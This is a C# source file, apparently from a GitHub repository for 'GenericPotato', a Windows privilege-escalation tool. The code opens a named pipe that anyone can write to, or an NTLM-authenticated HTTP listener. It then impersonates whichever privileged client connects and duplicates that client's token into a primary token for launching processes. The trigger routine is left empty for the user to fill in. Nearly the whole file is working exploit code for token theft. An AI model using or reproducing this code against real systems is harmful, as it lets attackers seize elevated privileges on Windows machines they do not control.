-
Notifications
You must be signed in to change notification settings - Fork 15
/
PotatoAPI.cs
151 lines (124 loc) · 5.22 KB
/
PotatoAPI.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Pipes;
using System.Net;
using System.Net.Sockets;
using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
namespace GenericPotato {
public enum ExecutionMethod
{
Auto,
Token,
User
}
internal class PotatoAPI {
Thread listener;
NamedPipeServerStream spoolPipe;
Mode mode;
public EventWaitHandle readyEvent = new EventWaitHandle(false, EventResetMode.AutoReset);
IntPtr systemImpersonationToken = IntPtr.Zero;
readonly int port;
readonly string host;
public enum Mode
{
HTTP,
NamedPipe
}
public IntPtr Token {
get {
return systemImpersonationToken;
}
}
public PotatoAPI(ushort port, string host, Mode mode) {
this.port = port;
this.host = host;
this.mode = mode;
switch (mode)
{
case Mode.NamedPipe:
listener = new Thread(NamedPipeListener);
listener.Start();
break;
case Mode.HTTP:
listener = new Thread(HTTPListener);
listener.Start();
break;
}
}
void NamedPipeListener()
{
string hostName = System.Net.Dns.GetHostName();
byte[] data = new byte[4];
PipeSecurity ps = new PipeSecurity();
SecurityIdentifier sid = new SecurityIdentifier(WellKnownSidType.WorldSid, null);
PipeAccessRule par = new PipeAccessRule(sid, PipeAccessRights.ReadWrite, System.Security.AccessControl.AccessControlType.Allow);
ps.AddAccessRule(par);
Console.WriteLine($"[+] Starting named pipe at \\\\{hostName}\\pipe\\test");
spoolPipe = new NamedPipeServerStream($"test", PipeDirection.InOut, 10, PipeTransmissionMode.Byte, PipeOptions.None, 2048, 2048, ps);
readyEvent.Set();
spoolPipe.WaitForConnection();
Console.WriteLine("[+] Received connection to our named pipe");
spoolPipe.Read(data, 0, 4);
spoolPipe.RunAsClient(() => {
if (!ImpersonationToken.OpenThreadToken(ImpersonationToken.GetCurrentThread(),
ImpersonationToken.TOKEN_ALL_ACCESS, false, out var tokenHandle))
{
Console.WriteLine("[-] Failed to open thread token");
return;
}
if (!ImpersonationToken.DuplicateTokenEx(tokenHandle, ImpersonationToken.TOKEN_ALL_ACCESS, IntPtr.Zero,
ImpersonationToken.SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
ImpersonationToken.TOKEN_TYPE.TokenPrimary, out systemImpersonationToken))
{
Console.WriteLine("[-] Failed to duplicate impersonation token");
return;
}
Console.WriteLine("[+] Duplicated impersonation token ready for process creation");
});
readyEvent.Set();
spoolPipe.Close();
}
void HTTPListener()
{
Console.WriteLine($"[+] Starting HTTP listener on port http://{host}:{port}");
HttpListener listener = new HttpListener();
listener.Prefixes.Add($"http://{host}:{port}/");
listener.Start();
listener.AuthenticationSchemes = AuthenticationSchemes.IntegratedWindowsAuthentication;
listener.UnsafeConnectionNtlmAuthentication = true;
listener.IgnoreWriteExceptions = true;
readyEvent.Set();
HttpListenerContext context = listener.GetContext();
Console.WriteLine("Request for: " + context.Request.Url.LocalPath);
Console.WriteLine("Client: " + context.User.Identity.Name);
var identity = (System.Security.Principal.WindowsIdentity)context.User.Identity;
using (System.Security.Principal.WindowsImpersonationContext wic = identity.Impersonate())
{
if (!ImpersonationToken.OpenThreadToken(ImpersonationToken.GetCurrentThread(),
ImpersonationToken.TOKEN_ALL_ACCESS, false, out var tokenHandle))
{
Console.WriteLine("[-] Failed to open thread token");
return;
}
if (!ImpersonationToken.DuplicateTokenEx(tokenHandle, ImpersonationToken.TOKEN_ALL_ACCESS, IntPtr.Zero,
ImpersonationToken.SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
ImpersonationToken.TOKEN_TYPE.TokenPrimary, out systemImpersonationToken))
{
Console.WriteLine("[-] Failed to duplicate impersonation token");
return;
}
Console.WriteLine("[+] Duplicated impersonation token ready for process creation");
}
readyEvent.Set();
}
public bool Trigger()
{
// Put your trigger code here
return true;
}
}
}